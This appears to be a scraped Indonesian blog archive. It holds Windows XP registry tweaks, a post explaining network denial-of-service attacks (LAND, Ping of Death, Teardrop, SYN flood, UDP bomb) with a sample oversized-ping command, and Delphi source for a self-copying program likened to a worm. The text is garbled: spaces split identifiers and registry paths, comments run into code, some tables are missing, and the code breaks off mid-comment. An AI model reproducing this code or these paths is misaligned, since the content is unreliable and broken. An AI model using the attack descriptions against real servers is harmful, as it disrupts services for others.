Jika key Explorer belum ada buatlah sebuah DWORD Value baru dan beri nama NoTrayItemsDisplay. Klik ganda NoTrayItemsDisplay dan masukkan angka 1 pada Value Data. Untuk mengembalikan System Tray masukkan angka 0 pada Value Data.

(37).Menonaktifkan Klik-kanan Pada Desktop
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoViewContextMenu. Klik ganda pada NoViewContextMenu dan masukkan angka 1 pada Value Data.

(38).Mengubah Waktu Delay Ketika Membuka Menu
---------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada MenuShowDelay dan ubah angka milidetik yang semula 400 menjadi angka lain. Semakin kecil semakin cepat.

(39).Mengatur Ukuran Icon Di Desktop Dan Start Menu
---------------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
Klik ganda pada Shell Icon Size dan ubah angka 32 menjadi angka lainnya, misalnya 10.

(40).Mengganti Warna Windows
----------------------------
HKEY_CURRENT_USER\Control Panel\Colors
Klik ganda Window dan masukkan kombinasi warna RGB (gunakan Adobe PhotoShop untuk menemukan kombinasi warna yang sesuai).

(41).Mengganti Warna Teks Dalam Windows
---------------------------------------
HKEY_CURRENT_USER\Control Panel\Colors
Klik ganda WindowText dan masukkan kombinasi warna RGB.

(42).Menghilangkan Tab Screen Saver
-----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
Buat sebuah DWORD Value baru dan beri nama NoDispScrSavPage. Klik ganda NoDispScrSavPage dan masukkan angka 1 pada Value Data.

(43).Mengganti Screen Saver Lewat Registry
------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda SCRNSAVE.EXE kemudian masukkan path tempat file Screen Saver yang diinginkan. Misalnya: C:\WINDOWS\ScreenSaver.scr

(44).Menonaktifkan Default Screen Saver
---------------------------------------
HKEY_USERS\.DEFAULT\Control Panel\Desktop
Klik ganda ScreenSaveActive dan masukkan angka 0 pada Value Data. Untuk mengembalikannya masukkan angka 1 pada Value Data.

(45).Menghilangkan Tanda Anak Panah Pada Icon Shortcut
------------------------------------------------------
HKEY_CLASSES_ROOT\Inkfile
HKEY_CLASSES_ROOT\piffile
Ubah nama IsShortcut menjadi IsShortcuts.

(46).Mengubah Style Wallpaper
-----------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda pada WallpaperStyle dan masukkan angka sebagai berikut di Value Data:
1 > Center
2 > Stretch
3 > Tile

(47).Menonaktifkan Peringatan Low Disk Space
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buatlah sebuah DWORD Value baru dan beri nama NoLowDiskSpaceChecks. Klik ganda NoLowDiskSpaceChecks dan masukkan angka 1 pada Value Data.

(48).Menonaktifkan Menu Properties My Computer
----------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoPropertiesMyComputer. Klik ganda NoPropertiesMyComputer dan masukkan angka 1 pada Value Data.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buat sebuah DWORD Value baru dan beri nama NoPropertiesMyComputer. Klik ganda NoPropertiesMyComputer dan masukkan angka 1 pada Value Data. Jika key Explorer tidak ada, buat yang baru dengan mengklik menu Edit > New > Key dan beri nama Explorer.

(49).Mengubah Ukuran CoolSwitch
-------------------------------
(Coba Tekan Alt+Tab, itulah yang disebut dengan CoolSwitch)
HKEY_CURRENT_USER\Control Panel\Desktop
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik CoolSwitchColumns dan aturlah seberapa panjang CoolSwitch ini akan ditampilkan dengan memasukkan angka yang diinginkan pada Value Data. Kemudian klik CoolSwitchRows dan lakukan hal yang serupa.

(50).Menonaktifkan Fungsi CoolSwitch
------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
HKEY_USERS\. DEFAULT\Control Panel\Desktop
Klik ganda pada CoolSwitch dan masukkan angka 0.

(51).Menonaktifkan Animasi Pada Windows XP
------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics
Klik ganda pada MinAnimate dan masukkan angka 1 untuk menonaktifkan, dan 0 untuk mengaktifkannya kembali.

(52).Mengubah Tombol Kiri Menjadi Tombol Kanan Pada Mouse
---------------------------------------------------------
HKEY_CURRENT_USER\Control Panel\Mouse
Klik ganda pada SwapMouseButtons dan beri angka 1 pada Value Data.

(53).Mengubah Gulungan Baris Pada Scroll Mouse
----------------------------------------------
HKEY_CURRENT_USER\Control Panel\Desktop
Klik ganda WheelScrollLines masukkan angka yang diinginkan (sesuai dengan baris yang hendak digulung) pada Value Data.

(54).Menyembunyikan System Properties Pada Control Panel
--------------------------------------------------------
HKEY_CURRENT_USER\Control Panel\don't load
Buatlah sebuah String Value baru dan beri nama sysdm.cpl. Klik ganda sysdm.cpl dan masukkan input Yes pada bagian Value Data.

(55).Menonaktifkan Display Properties
-------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
Pada bagian subkey Policies, buat sebuah key baru dengan cara Edit > New > Key dan beri nama System. Kemudian di subkey System, buatlah sebuah DWORD Value baru dan beri nama NoDispCPL. Klik ganda NoDispCPL dan masukkan angka 1 pada Value Data.

(56).Mengatur Kecepatan Repeat Rate Keyboard
--------------------------------------------
HKEY_CURRENT_USER\Control Panel\Keyboard
Klik ganda KeyboardSpeed dan masukkan nilai yang diinginkan. Semakin tinggi angkanya, semakin cepat pula Repeat Rate-nya.

(57).Teks Bergaris Bawah Pada Notepad
--------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Notepad
Klik ganda lfUnderline dan masukkan angka 1 pada Value Data.

(58).Mode Word Wrap Pada Notepad
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Notepad
Klik ganda fWrap dan masukkan angka 1 pada Value Data.

(59).Status Bar Pada Notepad
----------------------------
HKEY_CURRENT_USER\Software\Microsoft\Notepad
Klik ganda StatusBar dan masukkan angka 1 pada Value Data.

(60).DVD Di Windows Media Player
--------------------------------
HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\Settings
Pilih menu Edit > New > String Value dan beri nama DVDUI. Klik ganda DVDUI dan masukkan teks Yes pada Value Data.

(61).Menambah Identitas Windows Media Player
--------------------------------------------
HKEY_CURRENT_USER\Software\Policies\Microsoft
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows
Klik Edit > New > Key dan beri nama WindowsMediaPlayer. Klik Edit > New > String Value dan beri nama TitleBar. Klik ganda TitleBar dan masukkan teks yang diinginkan pada Value Data.

(62).Mengubah Tombol Stop Menjadi Tombol Play Pada Windows Media Player
-----------------------------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\MediaPlayer\Objects\StopButton
Klik ganda onclick dan masukkan teks player.controls. play() pada Value Data.

(63).Memilih Pemutar CD Audio Default
-------------------------------------
HKEY_CLASSES_ROOT\AudioCD\Shell\Play\Command
Klik ganda (Default) dan masukkan path software yang anda inginkan sebagai pemutar CD Audio secara default. Misalnya: C:\Program Files\Windows Media Player\wmplayer.exe

(64).Mengembalikan Akses Ke CD-ROM
----------------------------------
Setelah menguninstall sebuah program pembakar CD, adakalanya CD-ROM tidak bisa lagi diakses. Lakukan hal berikut untuk menormalkannya. Pergilah ke lokasi berikut:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentCo ntrolSet\Control\Class\{4D36E965-E325-11CE-BFC1-08002BE10318}
Hapus subkey LowerFilters dan UpperFilters dengan menekan tombol Del.

(65).Memperkecil Ukuran Thumbnail Untuk Windows Explorer
--------------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
Pilih menu Edit > New > Binary Value dan beri nama ThumbnailSize. Klik ganda ThumbnailSize dan masukkan angka 20 pada Value Data.

(66).Membuat Shortcut Menu Pribadi Di Windows Explorer
------------------------------------------------------
HKEY_CLASSES_ROOT\Drive\Shell
Pilih Edit > New > Key dan beri nama Winamp sebagai contohnya. Klik ganda option (Default) disisi kanan registry editor dan masukkan teks Winamp. Klik subkey Winamp dan pilih menu Edit > New > Key dan beri nama Command. Klik ganda option (Default) dan masukkan path C:\Program Files\Winamp\Winamp.exe pada Value Data.

(67).Enkripsi Melalui Menu Konteks
----------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Buat sebuah DWORD Value baru dan beri nama EncryptionContextMenu. Klik ganda EncryptionContextMenu dan masukkan angka 1 pada Value Data.

(68).Mengganti Icon Pada Drives
-------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Jika belum ada, pilih Edit > New > Key dan beri nama sesuai dengan drive yang diinginkan [Misalnya: C untuk drive C:]. Pada value tersebut, buat sebuah Key baru lagi dan beri nama DefaultIcon. Klik ganda option (Default) dan masukkan path tempat Icon berada. Misalnya: D:\yeppy\iconku.ico

(69).Menyembunyikan Drive
-------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Pilih Edit > New > DWORD Value dan beri nama NoDrives. Klik ganda NoDrives dan tentukan drive mana yang ingin dihilangkan pada Value Data. Misalnya: jika ingin menghilangkan drive E:, masukkan angka 16 pada Value Data. Kombinasi angka pada Value Data adalah sebagai berikut:
A: > 1
B: > 2
C: > 4
D: > 8
E: > 16
F: > 32
G: > 64
H: > 128
I: > 256
J: > 512
K: > 1024
L: > 2048
M: > 4096
Semua: > 67108863

(70).Membuat Tip Of The Day Windows Explorer
--------------------------------------------
Untuk mengaktifkannya buka Windows Explorer kemudian pilih menu View > Explorer Bar > Tip of the Day.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Tips
Di jendela sebelah kanan akan terlihat deretan tip-tip yang tersimpan dalam value 0-49. Dua hal yang bisa dilakukan adalah mengganti tip-tip yang dengan klik ganda masing-masing value dengan teks yang diinginkan. Kedua adalah menambah tip-tip baru dimulai dengan urutan setelah value 49 (misalnya 50 dst.). Pilih Edit > New > String Value dan beri nama berbentuk angka yang melanjutkan angka terakhir pada tip (misalnya 50 dst.).Klik ganda pada value yang baru tersebut dan isikan dengan teks yang diinginkan pada Value Data.

(71).Menyembunyikan Advanced Settings Pada Folder Options Windows Explorer
--------------------------------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer
Dibawah key Explorer akan ditemukan subkey bernama Advanced. Klik kanan dan pilih Rename. Ubah nama Advanced menjadi Advancedx.

(72).Kode Curang Bermain Game Hearts
------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets
Klik menu Edit > New > Key dan beri nama Hearts. Klik menu Edit > New > String Value dan beri nama ZB dan isikan angka 42 pada Value Data. Buka game Hearts pada Start Menu > All Programs > Games. Setelah memasukkan nama pemain, tekan kombinasi tombol berikut: Ctrl+Shift+Alt+ F12 dan semua kartu akan terbuka.

(73).Membersihkan Sampah Registry
---------------------------------
HKEY_CLASSES_ROOT\Application
HKEY_CURRENT_USER\Software
HKEY_LOCAL_MACHINE\SOFTWARE
Pilih salah satu subkey yang merupakan nama software yang ingin dihapus, kemudian tekan tombol Del.

(74).Membersihkan Sampah Uninstall
----------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall
Hapus subkey yang memiliki nama yang sama dengan software yang telah di-uninstall.

(75).Menghapus Daftar Program Yang Tidak Diinginkan Dari Add/Remove Programs
----------------------------------------------------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Hapus subkey yang berisikan program yang tidak diinginkan dengan menekan tombol Del.

(76).Menjalankan Program Saat StartUp
-------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Pilih menu Edit > New > String Value dengan nama Winamp misalnya. Klik ganda pada value tersebut dan masukkan path tempat program tersebut terinstall (C:\Program Files\Winamp\Winamp.exe).

(77).Menghapus StartUp Items Di MSCONFIG
----------------------------------------
Klik Start > Run > ketik msconfig, kemudian klik pada tab startup, hilangkan tanda centang pada program yang ingin dihapus dari daftar startup.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Hapus subkey yang berisikan program-program yang tidak diinginkan dengan menekan tombol Del.

(78).Mempercepat Proses Shutdown Windows XP
-------------------------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control
Klik ganda WaitToKillServiceTi meout dan ubah nilainya menjadi lebih rendah dari 2000.

(79).Menyembunyikan Device Manager
----------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
Pilih menu Edit > New > Key dan beri nama System. Di subkey System buatlah sebuah DWORD Value baru dan beri nama NoDevMgrPage. Klik ganda NoDevMgrPage dan masukkan angka 1 pada Value Data.

(80).Menonaktifkan Fungsi AutoRun
---------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Klik ganda NoDriveTypeAutoRun dan masukkan angka 95 pada Value Data.

(81).Mematikan Secara Otomatis Program Not Responding
-----------------------------------------------------
HKEY_USERS\.DEFAULT\Control Panel\Desktop
Klik ganda AutoEndTasks dan masukkan angka 1 pada Value Data.

(82).Memunculkan Option My Computer Yang Tersembunyi
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0
Klik ganda Flags kemudian ganti menjadi Decimal dan masukkan angka 1 pada Value Data.

(83).Menonaktifkan Fungsi New Window Di Internet Explorer
---------------------------------------------------------
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions
Buat sebuah DWORD Value baru dan beri nama NoOpeninNewWnd. Klik ganda NoOpeninNewWnd dan masukkan 1 pada Value Data.

(84).Mengganti Background Toolbar Internet Explorer
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar
Pilih menu Edit > New > String Value dan beri nama BackBitmap. Klik ganda BackBitmap dan isikan dengan path tempat gambar bitmap (.bmp) yang akan menjadi background toolbar berada pada Value Data. Misalnya: C:\WINDOWS\Wallpaper.bmp

(85).Mengganti Versi Internet Explorer
--------------------------------------
Untuk mengetahui versi Internet Explorer yang dimiliki: Help > About Internet Explorer pada browser Internet Explorer.
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer
Klik ganda Version dan masukkan angka yang diinginkan pada Value Data.

(86).Mengecek ProductID Internet Explorer
-----------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Registration
Lihat ProductID pada key ProductId, pada value tersebut akan tercatat berapa ProductID Internet Explorer yang digunakan.

(87).Mode Full Screen Pada Internet Explorer
--------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Klik ganda FullScreen dan masukkan teks Yes pada Value Data.

(88).Mengganti Title Internet Explorer
--------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Pilih menu Edit > New > String Value dan beri nama Window Title. Klik ganda Window Title dan masukkan teks yang diinginkan pada Value Data.

(89).Membersihkan Daftar URL Pada Internet Explorer
---------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs
Hapus value url1, url2 dan seterusnya dengan menekan tombol Del.

(90).Menyembunyikan Tombol Go Pada Internet Explorer
----------------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Pilih menu Edit > New > String Value dan beri nama ShowGoButton. Klik ganda ShowGoButton dan masukkan angka 0 pada Value Data.

(91).Mengganti Nama Icon Internet Explorer
------------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}
Klik ganda pada value (Default) disamping kanan, masukkan teks yang diinginkan pada Value Data.

(92).Menambahkan Domain .Gov Pada Pencarian Website
----------------------------------------------------
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\UrlTemplate
Pilih Edit > New > String Value dan beri nama dengan angka yang
merupakan kelanjutan dari angka-angka yang sudah ada.
Klik ganda pada value tersebut dan ketik %s.gov pada Value Data.

(93).Tweaking Memory Pada Windows XP
------------------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management
Klik ganda pada DisablePagingExecutive dan masukkan angka 1 pada Value Data.
Apabila diaktifkan,Windows tidak akan melakukan paging file ke dalam hard disk.
Sistem operasi dan program-program menjadi lebih responsif. Disarankan untuk komputer yang memiliki memori lebih dari 128MB. Klik ganda pada LargeSystemCache dan masukkan angka 1 pada Value Data. Jika diaktifkan, sistem akan mengalokasikan seluruh memori (kecuali 4 MB untuk disk caching) untuk file caching. Komputer akan melakukan caching kernel XP di dalam memory sehingga Windows XP dapat berjalan lebih cepat.

(94).Unload .dll Untuk Mempercepat Akses Memori
-----------------------------------------------
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
Pilih menu Edit > New > Key dan beri nama AlwaysUnloadDLL. Pada option Default Value masukkan angka 1.

(95).Menghapus Pagefile Saat Shut Down
--------------------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentCo ntrolSet\Control\Session Manager\Memory Management

Klik ganda ClearPageFileAtShut down dan masukkan angka 1 pada Value Data.

(96).Memindahkan Pagefile
-------------------------
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management
Klik ganda PagingFiles kemudian ganti path ke lokasi baru yang diinginkan. Misalnya: D:\pagefile.sys 1024 1024

(97).Menyembunyikan Help And Support
------------------------------------
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Buatlah sebuah DWORD Value baru -Menu Edit > New > DWORD Value, dan beri nama NoSMHelp. Kemudian klik ganda pada NoSMHelp dan isi dengan angka 1 pada Value Data. Restart komputer.

Internet and Networking - Berbagai Macam Serangan Terhadap Jaringan Komputer

2008-04-30T01:50:00.000-07:00

1. LAND Attack
LAND attack merupakan salah satu macam serangan terhadap suatu server/komputer yang terhubung dalam suatu jaringan yang bertujuan untuk menghentikan layanan yang diberikan oleh server tersebut sehingga terjadi gangguan terhadap layanan atau jaringan komputer tersebut. Tipe serangan semacam ini disebut sebagai Denial of Service (DoS) attack. LAND attack dikategorikan sebagai serangan SYN (SYN attack) karena menggunakan packet SYN (synchronization) pada waktu melakukan 3-way handshake untuk membentuk suatu hubungan berbasis TCP/IP. Dalam 3-way handshake untuk membentuk hubungan TCP/IP antara client dengan server, yang terjadi adalah sebagai berikut:

1. Pertama, client mengirimkan sebuah paket SYN ke server/host untuk membentuk hubungan TCP/IP antara client dan host.

2. Kedua, host menjawab dengan mengirimkan sebuah paket SYN/ACK (Synchronization/Acknowledgement) kembali ke client.

3. Akhirnya, client menjawab dengan mengirimkan sebuah paket ACK (Acknowledgement) kembali ke host. Dengan demikian, hubungan TCP/IP antara client dan host terbentuk dan transfer data bisa dimulai.

Dalam sebuah LAND attack, komputer penyerang yang bertindak sebagai client mengirim sebuah paket SYN yang telah direkayasa atau dispoof ke suatu server yang hendak diserang. Paket SYN yang telah direkayasa atau dispoof ini berisikan alamat asal (source address) dan nomer port asal (source port number) yang sama persis dengan alamat tujuan (destination address) dan nomer port tujuan (destination port number). Dengan demikian, pada waktu host mengirimkan paket SYN/ACK kembali ke client, maka terjadi suatu infinite loop karena host sebetulnya mengirimkan paket SYN/ACK tersebut ke dirinya sendiri. Host/server yang belum terproteksi biasanya akan crash atau hang oleh LAND attack ini. Namun sekarang ini, LAND attack sudah tidak efektif lagi karena hampir semua sistem sudah terproteksi dari tipe serangan ini melalui paket filtering atau firewall.

2. Ping of Death
Ping of Death merupakan suatu serangan (Denial of Service) DoS terhadap suatu server/komputer yang terhubung dalam suatu jaringan. Serangan ini memanfaatkan fitur yang ada di TCP/IP yaitu packet fragmentation atau pemecahan paket, dan juga kenyataan bahwa batas ukuran paket di protokol IP adalah 65536 byte atau 64 kilobyte. Penyerang dapat mengirimkan berbagai paket ICMP (digunakan untuk melakukan ping) yang terfragmentasi sehingga waktu paket-paket tersebut disatukan kembali, maka ukuran paket seluruhnya melebihi batas 65536 byte. Contoh yang sederhana adalah sebagai berikut: C:\windows>ping -l 65540

Perintah MSDOS di atas melakukan ping atau pengiriman paket ICMP berukuran 65540 byte ke suatu host/server. Pada waktu suatu server yang tidak terproteksi menerima paket yang melebihi batas ukuran yang telah ditentukan dalam protokol IP, maka server tersebut biasanya crash, hang, atau melakukan reboot sehingga layanan menjadi terganggu (Denial of Service). Selain itu, paket serangan Ping of Death tersebut dapat dengan mudah dispoof atau direkayasa sehingga tidak bisa diketahui asal sesungguhnya dari mana, dan penyerang hanya perlu mengetahui alamat IP dari komputer yang ingin diserangnya. Namun sekarang ini, serangan Ping of Death sudah tidak lagi efektif karena semua operating system sudah diupgrade dan diproteksi dari tipe serangan seperti ini. Selain itu, firewall bisa memblokir semua paket ICMP dari luar sehingga tipe serangan ini sudah tidak bisa dilakukan lagi.
3. Teardrop
Teardrop attack adalah suatu serangan bertipe Denial of Service (DoS) terhadap suatu server/komputer yang terhubung dalam suatu jaringan. Teardrop attack ini memanfaatkan fitur yang ada di TCP/IP yaitu packet fragmentation atau pemecahan paket, dan kelemahan yang ada di TCP/IP pada waktu paket-paket yang terfragmentasi tersebut disatukan kembali. Dalam suatu pengiriman data dari satu komputer ke komputer yang lain melalui jaringan berbasis TCP/IP, maka data tersebut akan dipecah-pecah menjadi beberapa paket yang lebih kecil di komputer asal, dan paket-paket tersebut dikirim dan kemudian disatukan kembali di komputer tujuan. Misalnya ada data sebesar 4000 byte yang ingin dikirim dari komputer A ke komputer B. Maka, data tersebut akan dipecah menjadi 3 paket demikian:

Di komputer B, ketiga paket tersebut diurutkan dan disatukan sesuai dengan OFFSET yang ada di TCP header dari masing-masing paket. Terlihat di atas bahwa ketiga paket dapat diurutkan dan disatukan kembali menjadi data yang berukuran 4000 byte tanpa masalah.

Dalam teardrop attack, penyerang melakukan spoofing/pemalsuan/rekayasa terhadap paket-paket yang dikirim ke server yang hendak diserangnya, sehingga misalnya menjadi demikian:

Terlihat di atas bahwa ada gap dan overlap pada waktu paket-paket tersebut disatukan kembali. Byte 1501 sampai 1600 tidak ada, dan ada overlap di byte 2501 sampai 3100. Pada waktu server yang tidak terproteksi menerima paket-paket demikian dan mencoba menyatukannya kembali, server akan bingung dan akhirnya crash, hang, atau melakukan reboot.

Server bisa diproteksi dari tipe serangan teardrop ini dengan paket filtering melalui firewall yang sudah dikonfigurasi untuk memantau dan memblokir paket-paket yang berbahaya seperti ini.

4. Half-Open Connection
Half-open connection attack juga disebut sebagai SYN attack karena memanfaatkan paket SYN (synchronization) dan kelemahan yang ada di 3-way handshake pada waktu hubungan TCP/IP ingin dibentuk antara 2 komputer. Dalam 3-way handshake untuk membentuk hubungan TCP/IP antara client dengan server, yang terjadi adalah sebagai berikut :

1. Pertama, client mengirimkan sebuah paket SYN ke server/host untuk membentuk hubungan TCP/IP antara client dan host.

2. Kedua, host menjawab dengan mengirimkan sebuah paket SYN/ACK (Synchronization/Acknowledgement) kembali ke client.

3. Akhirnya, client menjawab dengan mengirimkan sebuah paket ACK (Acknowledgement) kembali ke host. Dengan demikian, hubungan TCP/IP antara client dan host terbentuk dan transfer data bisa dimulai.

Dalam serangan half-open connection, penyerang mengirimkan ke server yang hendak diserang banyak paket SYN yang telah dispoof atau direkayasa sehingga alamat asal (source address) menjadi tidak valid. Dengan kata lain, alamat asal paket-paket SYN tersebut tidak menunjuk pada komputer yang benar-benar ada. Pada waktu server menerima paket-paket SYN tersebut, maka server akan mengirimkan paket SYN/ACK untuk menjawab tiap paket SYN yang diterima. Namun, karena paket SYN/ACK dari server tersebut dikirim ke alamat yang tidak ada, maka server akan terus menunggu untuk menerima jawaban berupa paket ACK. Jika server tersebut dibanjiri oleh paket-paket SYN yang tidak valid tersebut, maka akhirnya server akan kehabisan memory dan sumber daya komputasi karena server terus menunggu untuk menerima jawaban paket ACK yang tidak akan pernah datang. Akhirnya server akan crash, hang, atau melakukan reboot dan terjadilah gangguan terhadap layanan (denial of service). Tipe serangan half-open connection atau SYN attack ini dapat dicegah dengan paket filtering dan firewall, sehingga paket-paket SYN yang invalid tersebut dapat diblokir oleh firewall sebelum membanjiri server.

5. UDP Bomb Attack
UDP Bomb attack adalah suatu serangan bertipe Denial of Service (DoS) terhadap suatuserver atau komputer yang terhubung dalam suatu jaringan. Untuk melakukan serangan UDP Bomb terhadap suatu server, seorang penyerang mengirim sebuah paket UDP (User Datagram Protocol) yang telah dispoof atau direkayasa sehingga berisikan nilai-nilai yang tidak valid di field-field tertentu. Jika server yang tidak terproteksi masih menggunakan sistem operasi (operating system) lama yang tidak dapat menangani paketpaket UDP yang tidak valid ini, maka server akan langsung crash. Contoh sistem operasi yang bisa dijatuhkan oleh UDP bomb attack adalah SunOS versi 4.1.3a1 atau versi sebelumnya. Kebanyakan sistem operasi akan membuang paket-paket UDP yang tidak valid, sehingga sistem operasi tersebut tidak akan crash. Namun, supaya lebih aman, sebaiknya menggunakan paket filtering melalui firewall untuk memonitor dan memblokir serangan seperti UDP Bomb attack.

make program that can be copying it self

2008-04-30T01:47:00.000-07:00

MEMBUAT PROGRAM YANG DAPAT MENGCOPY DIRINYA OTOMATIS

Source code program dalam DELPHI. Program ini akan mengcopy dirinya otomatis ke tempat yang dinginkan.. yeah mirip-mirip worm gitu deech.. ;) Thanks to CodeMaker .. Great work man ;)

var
Form1: TForm1;
ExeString: String;

implementation

{$R *.DFM}
///////////////////////// //////////////////////

procedure Extract(A,B: String;Var C,D: String);
Var
E,F: Integer;
begin
if Pos(uppercase(A),C) > 0 then
begin
E := Pos(uppercase(A),C)+lengt h(A);
F := Pos(uppercase(B),C);
D := Copy(C,E,F-E);
end;
end;
///////////////////////// ///////////

procedure Exe2String(var A:String);
Var
ExeStream: TFileStream;
MyStream: TMemoryStream;
begin
ExeStream:=TFileStream.Create(Application.ExeName,fmOpenRead or
fmShareDenyNone);
Try
SetLength(A, ExeStream.Size);
ExeStream.ReadBuffer(Pointer(A)^, ExeStream.Size);
Finally
ExeStream.Free;
end;
end;
///////////////////////// //////////////////

procedure Delay(ms : longint);
var
TheTime : LongInt;
begin
TheTime := GetTickCount + ms;
while GetTickCount < TheTime do
Application.ProcessMessages;
end;
///////////////////////// /////////////////////

///////////////////////// ///////////////////////// ///////////////////////// /////
procedure TForm1.FormCreate(Sender: TObject);
Var
MyStream: TMemoryStream;
name,C,Temp: String;
D,E: integer;
begin
exe2String(ExeString);/// ///////////////////////// Get entire exe file from HD
//and store in global variable
//ExeString.

if pos(uppercase('soname'),e xestring) > 0 then //Check if exe contains a
begin //users name already
and if
delay(500); //it does then see if
the
if pos('_clone',application.exename) = 0 then //running exe is a temporary
begin //clone program.. if
it is
not
name := application.exename; //a clone then attempt to delete
Insert('_clone',name,(len gth(name)-3)); //any clone that may be in the
deletefile(name); //applications directory. This
end; //ensures that no clone will
//ever remain after exe has
//been customized.....

///////////////////////// /////////////////////

edit1.visible := false; ///////////////////////It has been determined that
form1.color := $00c6aa84; //the running exe has already been
form1.height := 300; //customized..so alter the exe's
//appearance to reflect that fact
//This is where you put any setup code you want
//to run when it has been determined that the exe
//has ALREADY been modified! Code to check for a
//valid usename+key,to alter the exe's appearance
//or whatever you want to do to change the way the
//now modified prog is to act should be done HERE!end;

///////////////////////// /////////////////////

//The code below runs IF it is determined that the currently running exe is
//a temporary clone program..... this code will delete the original exe file
//from the HD and then save a new copy of itself to the HD with the original
//exe name...DO NOT REMOVE THE delay(500) line! The program will fail sometimes
//if you do! Since the currently running exe is a clone that means it already
//has been modified and in fact is identical to the final exe that it is saving
//to disk with the original name... as soon as the new exe is saved to disk
//this code runs it...then immediately terminates itself .. the clone commits
//hari kiri :-) and since every time a customized exe starts up it attempts
//to delete it's clone from the current directory this clones remaining life
//on disk is limited to 1/2 second......
if pos('_CLONE',uppercase(ap plication.exename)) <> 0 then
begin
delay(500);
name := application.exename;
Delete(name,length(name)- 9,6);
if deletefile(name) then
begin
MyStream := TMemoryStream.Create;
try
MyStream.WriteBuffer(Pointer(ExeSt ring)^, Length(ExeString));
MyStream.savetofile(name);
finally
MyStream.Free;
ShellExecute(Handle, 'open',
pchar(name), nil, nil, SW_SHOWNORMAL);
application.terminate
end;
end
else showmessage(name+' not found');//this displays if it was determined that
//the running exe is a clone but for some
//crazy reason the original exe file is
//not found in the current directory :-(

end;

//The code below extracts the user name string from the exe file
//and displays it as a caption...but you could retrieve whatever
//data you had stored and do whatever you want with it :-)

if Pos(uppercase('soname'),e xestring) > 0 then //Extract Name string
begin //from exe file and
Extract('soname','eoname' ,ExeString,Temp); //display as the button
SpeedButton1.Caption := 'Program is Registered to '+Temp;//caption :-)
end;
end;
///////////////////////// ///////////////////////// //

//The code in the SpeedButton event handler below modifies the string held in
//the global variable ExeString...this string contains the entire exe file as
//string data...it modifies ExeString by adding data to it's end... the data is
//held between the demarcators 'SONAME' and 'EONAME' these mark off the data
//and make it possible to find it later and extract it from the running exe
//After ExeString is modified it is saved to a new file in the current directory
//with the exe's name plus '_clone' so if the exe name is myprog.exe the clone
//that is saved will be myprog_clone.exe... as soon as the clone exe is saved
